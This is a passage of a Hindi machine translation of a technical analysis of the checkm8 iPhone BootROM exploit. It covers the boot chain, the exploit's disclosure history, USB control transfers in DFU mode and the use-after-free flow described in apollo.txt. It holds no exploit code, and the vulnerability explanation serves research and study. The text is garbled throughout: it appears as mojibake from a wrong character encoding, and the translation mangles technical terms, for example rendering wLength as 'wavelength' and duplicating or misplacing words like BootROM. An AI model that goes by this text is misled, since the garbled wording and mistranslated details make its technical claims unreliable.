рдЙрдЪреНрдЪ рд╕рдВрднрд╛рд╡рдирд╛ рдХреЗ рд╕рд╛рде рдЖрдкрдиреЗ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рд╕рдирд╕рдиреАрдЦреЗрдЬ рдЪреЗрдХрдо 8 рд╢реЛрд╖рдг рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╕реБрдирд╛ рд╣реИ, рдЬреЛ рдХрд┐ iPhone X
рд╕рд╣рд┐рдд рдЕрдзрд┐рдХрд╛рдВрд╢ iDevices рдХреЗ BootROM
рдореЗрдВ рдПрдХ BootROM
рднреЗрджреНрдпрддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ, рд╣рдо рд╢реЛрд╖рдг рдХрд╛ рдПрдХ рддрдХрдиреАрдХреА рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдкреНрд░рджрд╛рди рдХрд░реЗрдВрдЧреЗ рдФрд░ рднреЗрджреНрдпрддрд╛ рдХреЗ рдХрд╛рд░рдгреЛрдВ рдХреЛ рджреЗрдЦреЗрдВрдЧреЗред рдХрд┐рд╕реА рдХреЛ рднреА рджрд┐рд▓рдЪрд╕реНрдкреА - рдХрдЯреМрддреА рдХреЗ рддрд╣рдд рдЖрдкрдХрд╛ рд╕реНрд╡рд╛рдЧрдд рд╣реИ!
рдЖрдк рд▓реЗрдЦ рдХрд╛ рдЕрдВрдЧреНрд░реЗрдЬреА рд╕рдВрд╕реНрдХрд░рдг рдпрд╣рд╛рдВ рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВред
рдкрд░рд┐рдЪрдп
рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рд╣рдо iDevice рдмреВрдЯ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд╛ рд╕рдВрдХреНрд╖реЗрдк рдореЗрдВ рд╡рд░реНрдгрди рдХрд░реЗрдВрдЧреЗ рдФрд░ рдпрд╣ рдкрддрд╛ BootROM
рдХрд┐ BootROM
рдХрд┐рд╕ рд╕реНрдерд╛рди рдкрд░ рд╣реИ (рдЗрд╕реЗ SecureROM
рднреА рдХрд╣рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ) рдФрд░ рдЗрд╕рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреНрдпреЛрдВ рд╣реИред рдЗрд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╡рд┐рд╕реНрддреГрдд рдЬрд╛рдирдХрд╛рд░реА рдпрд╣рд╛рдБ рд╣реИ ред рд╕рд░рд▓реАрдХреГрдд рдмреВрдЯ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдирд┐рдореНрдирд╛рдиреБрд╕рд╛рд░ рджрд░реНрд╢рд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

BootROM
рд╡рд╣ рдкрд╣рд▓реА рдЪреАрдЬ рд╣реИ рдЬреЛ рдкреНрд░реЛрд╕реЗрд╕рд░ рдЪрд╛рд▓реВ рд╣реЛрддрд╛ рд╣реИ рдЬрдм рдбрд┐рд╡рд╛рдЗрд╕ рдЪрд╛рд▓реВ рд╣реЛрддрд╛ рд╣реИред BootROM
рдореБрдЦреНрдп рдХрд╛рд░реНрдп:
- рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рдХрд╛ рдкреНрд░рд╛рд░рдВрдн (рдЖрд╡рд╢реНрдпрдХ рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рд░рдЬрд┐рд╕реНрдЯрд░ рд╕реЗрдЯ рдХрд░рдирд╛,
CPU
рдЗрдирд┐рд╢рд┐рдпрд▓рд╛рдЗрдЬрд╝ рдХрд░рдирд╛ рдЖрджрд┐) - рд▓реЛрдбрд┐рдВрдЧ рдХреЗ рдЕрдЧрд▓реЗ рдЪрд░рдг рдореЗрдВ рдирд┐рдпрдВрддреНрд░рдг рдХрд╛ рд╕рддреНрдпрд╛рдкрди рдФрд░ рд╕реНрдерд╛рдирд╛рдВрддрд░рдг
BootROM
IMG3/IMG4
рдЫрд╡рд┐рдпреЛрдВ рдХреЗ рдкрд╛рд░реНрд╕рд┐рдВрдЧ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИBootROM
рдореЗрдВ рдбрд┐рдХреНрд░рд┐рдкреНрдЯрд┐рдВрдЧ рдЫрд╡рд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП GID
рдХреБрдВрдЬреА рддрдХ рдкрд╣реБрдВрдЪ рд╣реИ- рдЫрд╡рд┐рдпреЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХреЗ рд▓рд┐рдП,
Apple
рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдХреБрдВрдЬреА рдХреЛ BootROM
рдореЗрдВ рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдФрд░ рдХреНрд░рд┐рдкреНрдЯреЛрдЧреНрд░рд╛рдлреА рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рд╣реИ
- рдбрд┐рд╡рд╛рдЗрд╕ рдХреЛ рдкреБрдирд░реНрдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдпрджрд┐ рдЖрдЧреЗ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдирд╛ рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реИ (
Device Firmware Update
, DFU
)
BootROM
рдЖрдХрд╛рд░ рдмрд╣реБрдд рдЫреЛрдЯрд╛ рд╣реИ, рдФрд░ рдЗрд╕реЗ iBoot
рдХрд╛ рдПрдХ рд╕реНрдЯреНрд░рд┐рдк-рдбрд╛рдЙрди рд╕рдВрд╕реНрдХрд░рдг рдХрд╣рд╛ рдЬрд╛ рд╕рдХрддрд╛ iBoot
, рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ рдЕрдзрд┐рдХрд╛рдВрд╢ рд╕рд┐рд╕реНрдЯрдо рдФрд░ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЛрдб рд╕рд╛рдЭрд╛ рдХрд░рддреЗ рд╣реИрдВред рд╣рд╛рд▓рд╛рдБрдХрд┐, iBoot
рд╡рд┐рдкрд░реАрдд, BootROM
рдХреЛ рдЕрдкрдбреЗрдЯ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдбрд┐рд╡рд╛рдЗрд╕ рдХреЛ рдмрдирд╛рддреЗ рд╕рдордп рдЗрд╕реЗ рдЖрдВрддрд░рд┐рдХ рд░реАрдб-рдУрдирд▓реА рдореЗрдореЛрд░реА рдореЗрдВ рд░рдЦрд╛ рдЬрд╛рддрд╛ рд╣реИред BootROM
рдмреВрдЯ рдЪреЗрди рдЯреНрд░рд╕реНрдЯ рдХрд╛ рд╣рд╛рд░реНрдбрд╡реЗрдпрд░ рд░реВрдЯ рд╣реИред рдЗрд╕рдореЗрдВ рдХрдордЬреЛрд░рд┐рдпрд╛рдВ рдЖрдЧреЗ рдХреА рдбрд╛рдЙрдирд▓реЛрдб рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдкрд░ рдирд┐рдпрдВрддреНрд░рдг рдкрд╛рдиреЗ рдФрд░ рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ рдЕрд╣рд╕реНрддрд╛рдХреНрд╖рд░рд┐рдд рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддреА рд╣реИрдВред

рдЪреЗрдХрдо 8 рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐
27 рд╕рд┐рддрдВрдмрд░, 2019 рдХреЛ checkm8
рд╢реЛрд╖рдг рдХреЛ рдЗрд╕рдХреЗ рд▓реЗрдЦрдХ axi0mX рджреНрд╡рд╛рд░рд╛ ipwndfu рдЙрдкрдпреЛрдЧрд┐рддрд╛ рдореЗрдВ рдЬреЛрдбрд╝рд╛ рдЧрдпрд╛ рдерд╛ред рддрдм рдЙрдиреНрд╣реЛрдВрдиреЗ рдЕрдкрдиреЗ рдЯреНрд╡рд┐рдЯрд░ рдЕрдХрд╛рдЙрдВрдЯ рдкрд░ рдПрдХ рдЕрдкрдбреЗрдЯ рдХреА рдШреЛрд╖рдгрд╛ рдХреА , рдЬрд┐рд╕рдореЗрдВ рд╢реЛрд╖рдг рдФрд░ рдЕрддрд┐рд░рд┐рдХреНрдд рдЬрд╛рдирдХрд╛рд░реА рдХрд╛ рд╡рд░реНрдгрди рдерд╛ред рдЖрдк рдереНрд░реЗрдб рд╕реЗ рдкрддрд╛ рд▓рдЧрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ USB
рдХреЛрдб рдореЗрдВ use-after-free
рднреЗрджреНрдпрддрд╛ 2018 рдХреА рдЧрд░реНрдорд┐рдпреЛрдВ рдореЗрдВ iOS 12 beta
рд▓рд┐рдП рдЖрдИ-рдмреВрдЯ рдХреА рдкреИрдЪ-рдбрд┐рдлрд╛рдЗрдВрдЧ iBoot
рджреМрд░рд╛рди рд▓реЗрдЦрдХ рджреНрд╡рд╛рд░рд╛ рдкрд╛рдИ рдЧрдИ рдереАред рдЬреИрд╕рд╛ рдХрд┐ рдкрд╣рд▓реЗ рдЙрд▓реНрд▓реЗрдЦ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, BootROM
рдФрд░ BootROM
рдореЗрдВ рдмрд╣реБрдд рд╕реЗ рд╕рдорд╛рди рдХреЛрдб рд╣реИрдВ, рдЬрд┐рд╕рдореЗрдВ USB
рдХреЗ рд▓рд┐рдП рдХреЛрдб рднреА рд╢рд╛рдорд┐рд▓ рд╣реИ, рдпрд╣реА рдХрд╛рд░рдг рд╣реИ рдХрд┐ рдпрд╣ рднреЗрджреНрдпрддрд╛ рднреА BootROM
рд▓рд┐рдП рдкреНрд░рд╛рд╕рдВрдЧрд┐рдХ рд╣реИред
рдпрд╣ рд╢реЛрд╖рдг рдХреЛрдб рд╕реЗ рднреА рдкрддрд╛ рдЪрд▓рддрд╛ рд╣реИ рдХрд┐ рднреЗрджреНрдпрддрд╛ DFU
рдореЗрдВ рд╢реЛрд╖рдг рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдПрдХ рдРрд╕реА рд╡рд┐рдзрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдПрдХ рд╣рд╕реНрддрд╛рдХреНрд╖рд░рд┐рдд рдЫрд╡рд┐ рдХреЛ USB
рдорд╛рдзреНрдпрдо рд╕реЗ рдбрд┐рд╡рд╛рдЗрд╕ рдореЗрдВ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ рдмрд╛рдж рдореЗрдВ рдбрд╛рдЙрдирд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рдпрд╣ рдЖрд╡рд╢реНрдпрдХ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдбрд┐рд╡рд╛рдЗрд╕ рдХреЛ рдкреБрдирд░реНрд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдпрджрд┐ рдЕрдкрдбреЗрдЯ рдЕрд╕рдлрд▓ рд╣реИред
рдЙрд╕реА рджрд┐рди, рд▓рд┐рдЯрд┐рд▓реИрд▓реЛ рдиреЗ рдмрддрд╛рдпрд╛ рдХрд┐ рдЙрдиреНрд╣реЛрдВрдиреЗ рдорд╛рд░реНрдЪ рдореЗрдВ рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХреЛ рдкрд╛рдпрд╛ рдерд╛ рдФрд░ рдЗрд╕рдХреЗ рд╡рд┐рд╡рд░рдг рдХреЛ apollo.txt рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдкреНрд░рдХрд╛рд╢рд┐рдд рдХрд┐рдпрд╛ рдерд╛ред checkm8
рдХреЛрдб рдореЗрдВ рдХреНрдпрд╛ рд╣реЛрддрд╛ рд╣реИ, рдЗрд╕рдХрд╛ рд╡рд░реНрдгрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдпрд╣ рд╢реЛрд╖рдг рдХреЗ рд╡рд┐рд╡рд░рдг рдХреЛ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рд╕реНрдкрд╖реНрдЯ рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП, рд╣рдордиреЗ рдЗрд╕ рд▓реЗрдЦ рдХреЛ рд▓рд┐рдЦрдиреЗ рдХрд╛ рдирд┐рд░реНрдгрдп рд▓рд┐рдпрд╛ рдФрд░ BootROM
рдореЗрдВ рдкреЗрд▓реЛрдб рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рддрдХ рдХреЗ рд╕рдВрдЪрд╛рд▓рди рдХреЗ рд╕рднреА рд╡рд┐рд╡рд░рдгреЛрдВ рдХрд╛ рд╕рдорд╛рд╡реЗрд╢ рдХрд░рдиреЗ рдХрд╛ BootROM
ред
рд╣рдордиреЗ рдкрд╣рд▓реЗ рдЙрд▓реНрд▓рд┐рдЦрд┐рдд рд╕рд╛рдордЧреНрд░рд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде-рд╕рд╛рде рдлрд░рд╡рд░реА 2018 рдореЗрдВ рд▓реАрдХ рд╣реБрдП iBoot/SecureROM
рд╕реНрд░реЛрдд рдХреЛрдб рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдПрдХ рд╢реЛрд╖рдг рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд┐рдпрд╛ред рд╣рдордиреЗ рдЕрдкрдиреЗ рдкрд░реАрдХреНрд╖рдг рдЙрдкрдХрд░рдг - iPhone 7
( CPID:8010
) рдкрд░ рдкреНрд░рдпреЛрдЧрд╛рддреНрдордХ рд░реВрдк рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдбреЗрдЯрд╛ рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ред checkm8
рдХрд╛ рдЙрдкрдпреЛрдЧ checkm8
рд╣рдордиреЗ SecureROM
рдФрд░ SecureRAM
рдбрдВрдк рдХреЛ рдЗрд╕рд╕реЗ рд╣рдЯрд╛ рджрд┐рдпрд╛, рдЬрд┐рд╕рд╕реЗ рд╣рдореЗрдВ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдореЗрдВ рдорджрдж рдорд┐рд▓реАред
рдЖрд╡рд╢реНрдпрдХ USB рдЬреНрдЮрд╛рди
рдкрддрд╛ рдЪрд▓рд╛ рднреЗрджреНрдпрддрд╛ USB
рдХреЛрдб рдореЗрдВ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЗрд╕ рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдХреБрдЫ рдЬреНрдЮрд╛рди рдЖрд╡рд╢реНрдпрдХ рд╣реИред рдЖрдк рдпрд╣рд╛рдВ рдкреВрд░рд╛ рд╕реНрдкреЗрд╕рд┐рдлрд┐рдХреЗрд╢рди рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдпрд╣ рдХрд╛рдлреА рдмрдбрд╝рд╛ рд╣реИред рдПрдХ рдЙрддреНрдХреГрд╖реНрдЯ рд╕рд╛рдордЧреНрд░реА, рдЬреЛ рдЖрдЧреЗ рдХреА рд╕рдордЭ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рд╕реЗ рдЕрдзрд┐рдХ рд╣реИ, рдПрдХ рдирдЯрд╢реЗрд▓ рдореЗрдВ рдпреВрдПрд╕рдмреА рд╣реИ ред рдпрд╣рд╛рдВ рд╣рдо рдХреЗрд╡рд▓ рд╕рдмрд╕реЗ рдЖрд╡рд╢реНрдпрдХ рджреЗрддреЗ рд╣реИрдВред
рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдХрд╛рд░ рдХреЗ USB
рдбреЗрдЯрд╛ рдЯреНрд░рд╛рдВрд╕рдлрд░ рд╣реИрдВред DFU
рдХреЗрд╡рд▓ Control Transfers
рдореЛрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ (рдЖрдк рдЗрд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдпрд╣рд╛рдВ рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ)ред рдЗрд╕ рдореЛрдб рдореЗрдВ рдкреНрд░рддреНрдпреЗрдХ рд▓реЗрдирджреЗрди рдореЗрдВ рддреАрди рдЪрд░рдг рд╣реЛрддреЗ рд╣реИрдВ:
Setup Stage
- рдЗрд╕ рд╕реНрддрд░ рдкрд░ рдПрдХ SETUP
рдкреИрдХреЗрдЯ рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреНрд╖реЗрддреНрд░ рд╣реЛрддреЗ рд╣реИрдВ:
bmRequestType
- рдЕрдиреБрд░реЛрдз рдХреА рджрд┐рд╢рд╛, рдкреНрд░рдХрд╛рд░ рдФрд░ рд░рд┐рд╕реАрд╡рд░ рдХрд╛ рд╡рд░реНрдгрди рдХрд░рддрд╛ рд╣реИbRequest
- рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдХреМрди рд╕рд╛ рдЕрдиреБрд░реЛрдз рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИwValue
, wIndex
- рдЕрдиреБрд░реЛрдз рдХреЗ рдЖрдзрд╛рд░ рдкрд░, рдЙрдирдХреА рдЕрд▓рдЧ рддрд░рд╣ рд╕реЗ рд╡реНрдпрд╛рдЦреНрдпрд╛ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИwLength
- Data Stage
рдореЗрдВ рдкреНрд░рд╛рдкреНрдд / рдкреНрд░реЗрд╖рд┐рдд рдбреЗрдЯрд╛ рдХреА рд▓рдВрдмрд╛рдИ
Data Stage
- рдПрдХ рд╡реИрдХрд▓реНрдкрд┐рдХ рдЪрд░рдг рдЬрд┐рд╕ рдкрд░ рдбреЗрдЯрд╛ рдЯреНрд░рд╛рдВрд╕рдлрд░ рд╣реЛрддрд╛ рд╣реИред рдкрд┐рдЫрд▓реЗ рдЪрд░рдг рд╕реЗ SETUP
рдкреИрдХреЗрдЯ рдХреЗ рдЖрдзрд╛рд░ рдкрд░, рдпрд╣ рд╣реЛрд╕реНрдЯ рд╕реЗ рдбрд┐рд╡рд╛рдЗрд╕ ( OUT
) рдпрд╛ рдЗрд╕рдХреЗ рд╡рд┐рдкрд░реАрдд ( IN
) рдбреЗрдЯрд╛ рднреЗрдЬ рд╕рдХрддрд╛ рд╣реИред рдбреЗрдЯрд╛ рдЫреЛрдЯреЗ рднрд╛рдЧреЛрдВ рдореЗрдВ рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИ ( Apple DFU
рдХреЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рдпрд╣ 0x40 рдмрд╛рдЗрдЯреНрд╕ рд╣реИ)ред
- рдЬрдм рд╣реЛрд╕реНрдЯ рдбреЗрдЯрд╛ рдХреЗ рдЕрдЧрд▓реЗ рдмреИрдЪ рдХреЛ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реИ, рддреЛ рд╡рд╣ рдПрдХ
OUT
рдЯреЛрдХрди рднреЗрдЬрддрд╛ рд╣реИ, рдЬрд┐рд╕рдХреЗ рдмрд╛рдж рдбреЗрдЯрд╛ рд╕реНрд╡рдпрдВ рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИред - рдЬрдм рдореЗрдЬрдмрд╛рди рдбрд┐рд╡рд╛рдЗрд╕ рд╕реЗ рдбреЗрдЯрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рддреИрдпрд╛рд░ рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдПрдХ
IN
рдЯреЛрдХрди рднреЗрдЬрддрд╛ рд╣реИ, рдЬрд┐рд╕рдХреЗ рдЬрд╡рд╛рдм рдореЗрдВ рдбрд┐рд╡рд╛рдЗрд╕ рдбреЗрдЯрд╛ рднреЗрдЬрддрд╛ рд╣реИред
Status Stage
- рдЕрдВрддрд┐рдо рдЪрд░рдг рдЬрд┐рд╕ рдкрд░ рдкреВрд░реЗ рд▓реЗрдирджреЗрди рдХреА рд╕реНрдерд┐рддрд┐ рдмрддрд╛рдИ рдЬрд╛рддреА рд╣реИред
OUT
рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рд▓рд┐рдП, рд╣реЛрд╕реНрдЯ рдПрдХ IN
рдЯреЛрдХрди рднреЗрдЬрддрд╛ рд╣реИ, рдЬрд┐рд╕рдХреЗ рдЬрд╡рд╛рдм рдореЗрдВ рдбрд┐рд╡рд╛рдЗрд╕ рдХреЛ рд╢реВрдиреНрдп рд▓рдВрдмрд╛рдИ рдХрд╛ рдбреЗрдЯрд╛ рдкреИрдХреЗрдЯ рднреЗрдЬрдирд╛ рдЪрд╛рд╣рд┐рдПредIN
рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рд▓рд┐рдП, рд╣реЛрд╕реНрдЯ рдПрдХ OUT
рдЯреЛрдХрди рдФрд░ рдПрдХ рд╢реВрдиреНрдп-рд▓рдВрдмрд╛рдИ рдбреЗрдЯрд╛ рдкреИрдХреЗрдЯ рднреЗрдЬрддрд╛ рд╣реИред
рдиреАрдЪреЗ рджрд┐рдП рдЧрдП рдЖрд░реЗрдЦ рдореЗрдВ OUT
рдФрд░ IN
рдХреНрд╡реЗрд░реА рджрд┐рдЦрд╛рдИ рдЬрд╛рддреА рд╣реИрдВред рд╣рдордиреЗ рдЬрд╛рдирдмреВрдЭрдХрд░ рд╡рд┐рд╡рд░рдг рдФрд░ рдЗрдВрдЯрд░реИрдХреНрд╢рди рд╕реНрдХреАрдо рд╕реЗ ACK
, NACK
рдФрд░ рдЕрдиреНрдп рд╣реИрдВрдбрд╢реЗрдХ рдкреИрдХреЗрдЬ рд╣рдЯрд╛ рджрд┐рдП, рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ рд╢реЛрд╖рдг рдореЗрдВ рдЦреБрдж рдПрдХ рд╡рд┐рд╢реЗрд╖ рднреВрдорд┐рдХрд╛ рдирд╣реАрдВ рдирд┐рднрд╛рддреЗ рд╣реИрдВред

рд╡рд┐рд╢реНрд▓реЗрд╖рдг apollo.txt
рд╣рдордиреЗ apollo.txt рдбреЙрдХреНрдпреВрдореЗрдВрдЯ рд╕реЗ рднреЗрджреНрдпрддрд╛ рдХреЛ рдкрд╛рд░реНрд╕ рдХрд░рдХреЗ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рд╢реБрд░реВ рдХрд┐рдпрд╛ред рдпрд╣ DFU
рдореЛрдб рдХреЗ рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо рдХрд╛ рд╡рд░реНрдгрди рдХрд░рддрд╛ рд╣реИ:
https://gist.github.com/littlelailo/42c6a11d31877f98531f6d30444f59c4
- рдЬрдм usf рдХреЛ dfu рдкрд░ рдПрдХ рдЫрд╡рд┐ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╢реБрд░реВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, dfu рд╕рднреА рдХрдорд╛рдВрдб рдХреЛ рд╕рдВрднрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рд░рдЬрд┐рд╕реНрдЯрд░ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЗрдирдкреБрдЯ рдФрд░ рдЖрдЙрдЯрдкреБрдЯ рдХреЗ рд▓рд┐рдП рдПрдХ рдмрдлрд░ рдЖрд╡рдВрдЯрд┐рдд рдХрд░рддрд╛ рд╣реИ
- рдпрджрд┐ рдЖрдк рдбреЗрдЯрд╛ рдХреЛ dfu рдореЗрдВ рднреЗрдЬрддреЗ рд╣реИрдВ рддреЛ рд╕реЗрдЯрдЕрдк рдкреИрдХреЗрдЯ рдореБрдЦреНрдп рдХреЛрдб рджреНрд╡рд╛рд░рд╛ рд╕рдВрднрд╛рд▓рд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рддрдм рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рдХреЛрдб рдХреЛ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИ
- рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рдХреЛрдб рдпрд╣ рдкреБрд╖реНрдЯрд┐ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рддрд░рдВрдЧрджреИрд░реНрдзреНрдп рдЗрдирдкреБрдЯ рдЖрдЙрдЯрдкреБрдЯ рдмрдлрд░ рд▓рдВрдмрд╛рдИ рд╕реЗ рдЫреЛрдЯрд╛ рд╣реИ рдФрд░ рдпрджрд┐ рдРрд╕рд╛ рд╣реИ рддреЛ рдпрд╣ рдПрдХ рд╕рдВрдХреЗрддрдХ рдХреЛ рдЗрдирдкреБрдЯ рдЖрдЙрдЯрдкреБрдЯ рдмрдлрд░ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реВрдЪрдХ рдХреЗ рд╕рд╛рде рдПрдХ рддрд░реНрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдЕрджреНрдпрддрди рдХрд░рддрд╛ рд╣реИред
- рдпрд╣ рддрдм рддрд░рдВрдЧрд┐рдд рд╣реЛрддрд╛ рд╣реИ рдЬреЛ рд╡рд╣ рд▓рдВрдмрд╛рдИ рд╣реИ рдЬреЛ рдмрдлрд░ рдореЗрдВ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реИ
- usb рдореБрдЦреНрдп рдХреЛрдб рддрдм рд▓рдВрдмрд╛рдИ рдХреЗ рд╕рд╛рде рдПрдХ рд╡реИрд╢реНрд╡рд┐рдХ рд╕рдВрд╕реНрдХрд░рдг рдХреЛ рдЕрджреНрдпрддрди рдХрд░рддрд╛ рд╣реИ рдФрд░ рдбреЗрдЯрд╛ рд╕рдВрдХреБрд▓ рдХреЛ рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рддреИрдпрд╛рд░ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ
- рдпрджрд┐ рдХреЛрдИ рдбреЗрдЯрд╛ рдкреИрдХреЗрдЬ рдкреНрд░рд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдпрд╣ рд╕реВрдЪрдХ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЗрдирдкреБрдЯ рдЖрдЙрдЯрдкреБрдЯ рдмрдлрд░ рдХреЛ рд▓рд┐рдЦрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ рдПрдХ рддрд░реНрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╛рд░рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рдФрд░ рдХрд┐рддрдиреЗ рдмрд╛рдЗрдЯ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдкреНрд░рд╛рдкреНрдд рдХрд┐рдП рдЧрдП рдереЗ, рдЗрд╕рдХрд╛ рдЯреНрд░реИрдХ рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдФрд░ рд╡реИрд╢реНрд╡рд┐рдХ рдЪрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
- рдпрджрд┐ рд╕рднреА рдбреЗрдЯрд╛ рдХреЛ рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рддреЛ dfu рд╡рд┐рд╢рд┐рд╖реНрдЯ рдХреЛрдб рдХреЛ рдлрд┐рд░ рд╕реЗ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдлрд┐рд░ рдЗрдирдкреБрдЯ рдЖрдЙрдЯрдкреБрдЯ рдмрдлрд░ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдореЗрдореЛрд░реА рд╕реНрдерд╛рди рдкрд░ рдХреЙрдкреА рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬрд╛рддрд╛ рд╣реИ рдЬрд╣рд╛рдВ рд╕реЗ рдмрд╛рдж рдореЗрдВ рдЫрд╡рд┐ рдмреВрдЯ рдХреА рдЬрд╛рддреА рд╣реИ
